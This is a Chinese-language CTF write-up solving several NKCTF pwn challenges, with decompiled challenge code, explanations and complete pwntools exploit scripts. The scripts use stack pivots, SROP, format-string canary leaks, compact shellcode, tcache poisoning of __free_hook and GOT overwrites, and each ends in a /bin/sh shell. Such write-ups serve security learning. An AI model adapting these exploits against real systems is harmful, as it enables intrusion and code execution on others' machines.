打的比较坐牢 主要还是有的题目没有给libc文件
题目质量还是挺不错的 扩展了思路
ezshellcode#
这题老熟人了哈哈 还记得刚开始学pwn的时候 写的第一篇wp就是猜数字 顺便这题真的被坑了一手 一开始没仔细看题目 看到随机数就以为时间当种子 爆破半天发现是固定种子 默认1
签到题 不解释了
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("node.yuzhian.com.cn",32980)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']#libc = ELF("./刷题/libc-2.32.so")#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')# context.arch = "i386"context.arch = "amd64"elf = ELF("./nk")def debug(): gdb.attach(io) pause()
io.recvuntil("u can make it in 5 min!")libc.srand(1)buf = libc.rand() % 100 + 1payload = cyclic(buf)+asm(shellcraft.sh())io.send(payload)io.recvuntil("good luck!")io.interactive()a_story_of_a_pwner#

int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [rsp+4h] [rbp-Ch] BYREF int v5; // [rsp+8h] [rbp-8h] BYREF int v6; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp); puts("today, I want to tell you some stories about myself."); puts("I have a lot of stories, which one do you want to hear?"); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); if ( opt != 1 ) break; acm(&v6); v6 = 1; } if ( opt != 2 ) break; ctf(&v5); v5 = 1; } if ( opt != 3 ) break; love(&v4); v4 = 1; } if ( opt != 4 ) break; if ( v6 && v5 && v4 ) heart(); else warning(&v6, &v5, &v4); } puts("wrong choice."); puts("you hurt me so much."); puts("DO YOU THINK IT'S FUNNY TO CHOOSE INCORRECT OPTION?"); puts("BYE."); return 0;}一开始还以为是堆 跟进一下每个函数发现还是比较简单的
acm ctf love三个函数每个函数进去可以往bss段上写0x8字节的数据 并且这三个位置是相邻的
同时在函数执行完以后 会各自把一个值设置为1
接着要进入heart函数的分支有两种情况 一种是值都为1 也就是已经执行完3个函数了 还有一种就是没有全部执行完
跟进一下heart函数和warning函数
ssize_t heart(){ char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
puts("now, come and read my heart..."); return read(0, buf, 0x20uLL);}可以溢出0x16字节 也就够个栈迁移了 联想到之前可以往bss段写数据 那就是往那边迁移了
int warning(){ puts("Before u read this, i think u should read first 3."); return printf("I give it up, you can see this. %p\n", &puts);}直接送了puts函数的真实地址 那就好办了 接收一下 然后在bss段上构造system(“/bin/sh”) 随后迁移过去
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("node.yuzhian.com.cn",37719)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']#libc = ELF("./刷题/libc-2.32.so")libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/lib# context.arch = "i386"context.arch = "amd64"elf = ELF("./nk")def debug(): gdb.attach(io) pause()
io.recvuntil("> ")io.sendline(b'4')io.recvuntil("I give it up, you can see this. ")puts_addr = int(io.recv(14),16)success("puts_addr :"+hex(puts_addr))libc_addr = puts_addr - libc.sym['puts']success("libc_addr :"+hex(libc_addr))
rdi_addr = 0x0000000000401573binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))system_addr = libc_addr + libc.sym['system']leave_addr = 0x000000000040139eio.recvuntil("> ")io.sendline(b'2')io.send(p64(rdi_addr))io.recvuntil("> ")io.sendline(b'1')io.send(p64(binsh_addr))io.recvuntil("> ")io.sendline(b'3')io.send(p64(system_addr))
io.recvuntil("> ")io.sendline(b'4')io.recv()io.recv()onegadget_addr = libc_addr +0xe3b04payload = cyclic(10)+p64(0x4050A0-8)+p64(leave_addr)io.sendline(payload)io.interactive()ez_stack#

__int64 vuln(){ signed __int64 v0; // rax signed __int64 v1; // rax char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_write(1u, nkctf, 0x26uLL); v1 = sys_read(0, buf, 0x200uLL); return 0LL;}隐约记得哪一年的国赛也有这种类型的题目 记得是srop来着 翻了翻之前的博客 发现还真是(所以写写博客还是有用的对吧)
ROPgadget看看能不能控制rax的值 果然发现了 那这一题就是srop了

不过还需要找个地方写binsh字符串 所以先srop写一个read到bss段上 然后再getshell
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("node.yuzhian.com.cn",32980)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']#libc = ELF("./刷题/libc-2.32.so")libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/lib# context.arch = "i386"context.arch = "amd64"elf = ELF("./nk")def debug(): gdb.attach(io) pause()
io.recv()bss_addr= 0x404080+0x100main_addr = elf.sym['main']rax_15 = 0x0000000000401146syscall_addr = 0x000000000040114eframe = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = bss_addrframe.rdx = 0x200frame.rip = syscall_addrframe.rsp = bss_addrpayload = cyclic(0x18)+p64(rax_15)+p64(syscall_addr)+bytes(frame)io.sendline(payload)binsh_addr = bss_addr +264frame = SigreturnFrame()frame.rax = 59frame.rdi = binsh_addrframe.rsi = 0frame.rdx = 0frame.rip = syscall_addrpayload = p64(rax_15)+p64(syscall_addr)+bytes(frame)+b'/bin/sh\x00'# gdb.attach(io,'b *'+str(rax_15))# pause(0)io.sendline(payload)io.interactive()baby_rop#

__int64 vuln(){ const char *format; // [rsp+8h] [rbp-118h] char src[8]; // [rsp+10h] [rbp-110h] BYREF char dest[8]; // [rsp+18h] [rbp-108h] BYREF char v4[248]; // [rsp+20h] [rbp-100h] BYREF unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u); strcpy(dest, "Hello, "); puts("Welcome to the NKCTF message board!"); printf("What is your name: "); my_read(src, 8LL); format = strcat(dest, src); printf(format); puts("What are your comments and suggestions for the NKCTF: "); my_read(v4, 256LL); puts("Thank you, we will read your comments and suggestions carefully."); return 0LL;}格式化字符串 顺便还可以往栈上写数据 不过并不能栈溢出 一开始确实没什么思路 不过后来发现main函数结束前的指令有点不一样
.text:000000000040138C endbr64.text:0000000000401390 push rbp.text:0000000000401391 mov rbp, rsp.text:0000000000401394 mov eax, 0.text:0000000000401399 call init.text:000000000040139E mov eax, 0.text:00000000004013A3 call vuln.text:00000000004013A8 leave.text:00000000004013A9 mov eax, 0.text:00000000004013AE pop rbp.text:00000000004013AF retn
最后rsp指向的是环境变量那一块 然后我就想能不能破坏一下栈结构 看能不能利用写栈上0x100的字节构造一个rop链
然后就想到canary了嘛 调用___stack_chk_fail的话总归会对栈结构产生影响 再加上有格式化字符串漏洞 泄露canary还是小菜一碟的
io.recvuntil("What is your name: ")# gdb.attach(io,'b *0x401340')io.sendline(b'%41$p%p')io.recv(7)canary = int(io.recv(18),16)success("canary :"+hex(canary))stack_addr = int(io.recv(14),16)success("stack_addr :"+hex(stack_addr))计算一下偏移泄露canary 顺便不要浪费机会 顺便泄露一下栈地址 到时候还要用到binsh字符串呢
payload = p64(ret_addr)*30+p64(main_addr)+p64(canary)gdb.attach(io,'b *0x40138B')pause(0)io.send(payload)pause()然后试着覆盖一下canary 你就会发现最后的rsp会乱偏 为了提高打通的效率 我们就多塞几个ret 这样确保可以返回到main函数
然后回到main函数以后 再次利用格式化字符串泄露libc基址 然后同样的办法构造system链就行了
顺便吐槽一下不给libc的行为 2.31 9.9的用libcsearch也查不到 一血就这样没了 就拿了个三血
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("node.yuzhian.com.cn",34395)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF("./刷题/libc-2.32.so")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("What is your name: ")# gdb.attach(io,'b *0x401340')io.sendline(b'%41$p%p')io.recv(7)canary = int(io.recv(18),16)success("canary :"+hex(canary))stack_addr = int(io.recv(14),16)success("stack_addr :"+hex(stack_addr))io.recvuntil("What are your comments and suggestions for the NKCTF: ")main_addr = elf.sym['main']start_addr = elf.sym['_start']ret_addr = 0x000000000040101arsp_addr = 0x000000000040140dpayload = p64(ret_addr)*30+p64(main_addr)+p64(canary)io.send(payload)io.recvuntil("What is your name: ")io.sendline(b'%25$p')addr = int(io.recvuntil("What",drop = True)[-14:],16)success("addr :"+hex(addr))#obj = LibcSearcher("_IO_2_1_stderr_",addr)libc_addr = addr - libc.sym['_IO_2_1_stderr_']#obj.dump("_IO_2_1_stderr_")success("libc_addr :"+hex(libc_addr))system_addr = libc_addr + libc.sym['system']rdi_addr = 0x0000000000401413binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))payload = p64(ret_addr)*28+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(canary)io.sendline(payload)io.recv()io.interactive()9961code#

int __cdecl main(int argc, const char **argv, const char **envp){ void *buf; // [rsp+0h] [rbp-10h]
init(argc, argv, envp); buf = (void *)(int)mmap((void *)0x9961000, 0x1000uLL, 7, 34, -1, 0LL); puts("Last night i played touhou fuujinroku ~ Mountain of Faith\n"); puts("F**k! I failed and 9961 in the end!\n"); puts("In that case, you can only enter a very short shellcode!\n"); read(0, buf, 0x16uLL); puts("I hope you can NMNB it!"); mprotect(buf, 0x1000uLL, 4); JUMPOUT(0x9961000LL);}手写shellcode 一开始我是想着先构造mprotect 开一下0x9961000的可写可读权限 然后返回main函数重新构造read链 但是发现不行啊 开了pie不知道要怎么返回去 想了半天 问了其他师傅 学了一手直接打
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("node2.yuzhian.com.cn",36613)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF("./libc-2.32.so")#libc = ELF("./locate")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("In that case, you can only enter a very short shellcode!")shellcode = """ xor rsi,rsi lea rdi,[r15+0xe] cdq mov ax,59 syscall"""# gdb.attach(io,'b *$rebase(0x139B)')# pause(0)io.send(asm(shellcode)+b'/bin/sh\x00')io.recvuntil("I hope you can NMNB it!")io.interactive()学到了cdq这个指令 可以把eax第31位赋值给edx所有的bit 在这里也就是起到了清空rdx寄存器的作用
值得一题的就是本地死活打不通 但是远程能通 不知道什么情况
baby_heap#

这题堆开局就给我来一记重锤 用xclibc换libc版本的时候 运行提示段内存错误

然后发现是libc没有换上 那就手动换一下吧
patchelf --replace-needed /lib/x86_64-linux-gnu/libc.so.6 /home/chen/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/ ./pwn程序函数给齐了 add delete edit show
add函数最多申请0x100 delete函数置零了指针 不存在UAF edit函数存在一个字节的溢出 show函数可以打印出堆块内容
还真是easy_heap 这题用到的办法是我最开始学堆的时候用的 利用单字节溢出合并两个chunk 释放到unsortedbin中 然后再申请同样size的小chunk出来就存在chunk overlap 只不过中途会有些小问题
add(0,0x18)add(1,0x40)add(2,0x40)for i in range(7): add(3+i,0x90)
for i in range(7): delete(3+i)
payload = cyclic(0x18)+b'\xa1'edit(0,payload)delete(1)add(10,0x40)edit(2,b'\x0a')show(2)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-96-0xalibc_addr = main_arena_addr - (libc.sym['__malloc_hook']+0x10)free_hook = libc_addr + libc.sym['__free_hook']system_addr = libc_addr + libc.sym['system']success("libc_addr :"+hex(libc_addr))一个是2.32的main_arena_addr+xxh末尾是\x00 所以要先覆盖成其他值
还有一点是接下来想再申请0x40的chunk 也就是chunk2 构成一个chunk overlap的时候 报错了
malloc(): unsorted double linked list corrupted是因为此时unsortedchunk的fd域被破坏了

那简单 复原一下就好了
edit(2,p64(main_arena_addr+96)*2)add(11,0x40)delete(11)show(2)key = u64(io.recvuntil("\x0a",drop = True).ljust(8,b'\x00'))success("key :"+hex(key))edit(2,p64(free_hook^key))这时候就利用chunk overlap来实现tcachebin attack libc版本是2.32 所以还需要注意一下tcache的key机制
但是这时候却申请不出来free_hook的chunk
因为此时plmalloc认为这个链表中已经没有chunk了 前面的数值是0 再次申请不会去对应链表中查找 而是直接分配一个新的

解决办法就是多释放几个进去就行了
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("ctf.comentropy.cn",8301)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF("./libc-2.32.so")#libc = ELF("./locate")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
def add(index,size): io.recvuntil("Your choice: ") io.sendline(b'1') io.recvuntil("Enter the index: ") io.sendline(str(index)) io.recvuntil("Enter the Size: ") io.sendline(str(size))
def delete(index): io.recvuntil("Your choice: ") io.sendline(b'2') io.recvuntil("Enter the index: ") io.sendline(str(index))
def edit(index,content): io.recvuntil("Your choice: ") io.sendline(b'3') io.recvuntil("Enter the index: ") io.sendline(str(index)) io.recvuntil("Enter the content: ") io.sendline(content)
def show(index): io.recvuntil("Your choice: ") io.sendline(b'4') io.recvuntil("Enter the index: ") io.sendline(str(index))
add(0,0x18)add(1,0x40)add(2,0x40)for i in range(7): add(3+i,0x90)
for i in range(7): delete(3+i)
payload = cyclic(0x18)+b'\xa1'edit(0,payload)delete(1)add(10,0x40)edit(2,b'\x0a')show(2)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-96-0xalibc_addr = main_arena_addr - (libc.sym['__malloc_hook']+0x10)free_hook = libc_addr + libc.sym['__free_hook']system_addr = libc_addr + libc.sym['system']success("libc_addr :"+hex(libc_addr))edit(2,p64(main_arena_addr+96)*2)add(11,0x40)add(12,0x40)add(13,0x40)delete(11)show(2)key = u64(io.recvuntil("\x0a",drop = True).ljust(8,b'\x00'))success("key :"+hex(key))add(14,0x40)delete(12)delete(13)delete(14)edit(2,p64(free_hook^key))add(15,0x40)add(3,0x40)edit(3,p64(system_addr))edit(15,b'/bin/sh\x00')delete(15)io.interactive()only_read#

int __cdecl main(int argc, const char **argv, const char **envp){ char s1[64]; // [rsp+0h] [rbp-80h] BYREF char s[64]; // [rsp+40h] [rbp-40h] BYREF
setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x30uLL); base_decode(s, s1); if ( strcmp(s1, "Welcome to NKCTF!") ) return 0; memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x30uLL); base_decode(s, s1); if ( strcmp(s1, "tell you a secret:") ) return 0; memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x40uLL); base_decode(s, s1); if ( strcmp(s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9") ) return 0; memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); read(0, s, 0x40uLL); base_decode(s, s1); if ( !strcmp(s1, "can you find me?") ) next(); return 0;}这题实在是太坐牢了 我自己尝试的是ogg爆破 本地关了ASLR以后 写对偏移就通了 但是远程是死活爆破不通 最后换了个办法 可惜了 我觉得我ogg爆破的办法是真的奇才
from pwn import*from ctypes import *from LibcSearcher import*#io = process("./pwn")#io = remote("node2.yuzhian.com.cn",35140)#context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF("./libc-2.32.so")#libc = ELF("./locate")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
while True: try: io = remote("node2.yuzhian.com.cn",35140) io.sendline(b'V2VsY29tZSB0byBOS0NURiE=\x00') sleep(0.2) io.sendline(b'dGVsbCB5b3UgYSBzZWNyZXQ6\x00') sleep(0.2) io.sendline(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45\x00') sleep(0.2) io.sendline(b'Y2FuIHlvdSBmaW5kIG1lPw==\x00') sleep(0.2) rbp_addr = 0x000000000040117d leave_addr = 0x00000000004013c2 gadget1_addr = 0x401660 gadget2_addr = 0x401676 next_addr = 0x4013c4 payload = cyclic(0x38)+p64(gadget2_addr) payload += cyclic(0x8)+p64(0)+p64(1)+p64(0)+p64(elf.got['setbuf'])+p64(8)+p64(elf.got['read']) payload += p64(gadget1_addr)+p64(0)*7+p64(next_addr) # gdb.attach(io,'b *0x4013E8') # pause(0) sleep(0.2) io.send(payload) io.send(p16(0x3afe) + p8(0xea)) payload = cyclic(0x38)+p64(rbp_addr)+p64(elf.got['setbuf']-0x8)+p64(leave_addr) # gdb.attach(io,'b *'+str(rbp_addr)) # pause(0) sleep(0.2) io.send(payload) sleep(0.2) io.sendline(b'cat flag.txt') flag = io.recv() assert(len(flag)>0) print(flag) io.interactive()
except EOFError: io.close()就贴在这了吧 纪念一下死去的理想
说回正题 开局的那几个base64还是很好绕过的 要注意的是有的末尾要加了\x00 不然不知道为啥过不了strcmp
随后就是一个栈溢出 长度管够 但是只有这四个函数

直接覆盖setbuf的got表为puts函数 然后把setbuf当puts使就行了
注意一下爆破脚本 在前面那一堆payload传输的中间要加sleep 不然会出现奇怪的问题 我就是这个问题卡了好久的远程
from pwn import*from ctypes import *from LibcSearcher import*#io = process("./pwn")#io = remote("node2.yuzhian.com.cn",31530)#context.log_level = "debug"context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF("./libc-2.32.so")#libc = ELF("./locate")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
while True: try: io = process("./pwn") #io = remote("node2.yuzhian.com.cn",35140) io.sendline(b'V2VsY29tZSB0byBOS0NURiE=\x00') sleep(0.5) io.sendline(b'dGVsbCB5b3UgYSBzZWNyZXQ6\x00') sleep(0.5) io.sendline(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45\x00') sleep(0.5) io.sendline(b'Y2FuIHlvdSBmaW5kIG1lPw==\x00') sleep(0.5) rbp_addr = 0x000000000040117d leave_addr = 0x00000000004013c2 gadget1_addr = 0x401660 gadget2_addr = 0x401676 read_addr = 0x401090 rsi_r15 = 0x0000000000401681 rdi_addr = 0x0000000000401683 main_addr = 0x4013E9 ret_addr = 0x000000000040101a next_addr = 0x4013c4 payload = cyclic(0x38)+p64(rdi_addr)+p64(0)+p64(rsi_r15)+p64(elf.got['setbuf'])*2+p64(elf.sym['read'])+p64(rdi_addr)+p64(elf.got['read'])+p64(elf.sym['setbuf'])+p64(next_addr) # gdb.attach(io,'b *'+str(rdi_addr)) # pause(0) io.send(payload) sleep(0.5) # pause() # gdb.attach(io,'b *0x4013C4') # pause(0) io.send(p16(0x4420)) read_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) libc_addr = read_addr - libc.sym['read'] success("libc_addr :"+hex(libc_addr)) system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + libc.search(b"/bin/sh").__next__() payload = cyclic(0x38)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.send(payload) io.sendline(b'cat flag.txt') flag = io.recv() assert(len(flag)>0) print(flag) io.interactive()
except EOFError: io.close()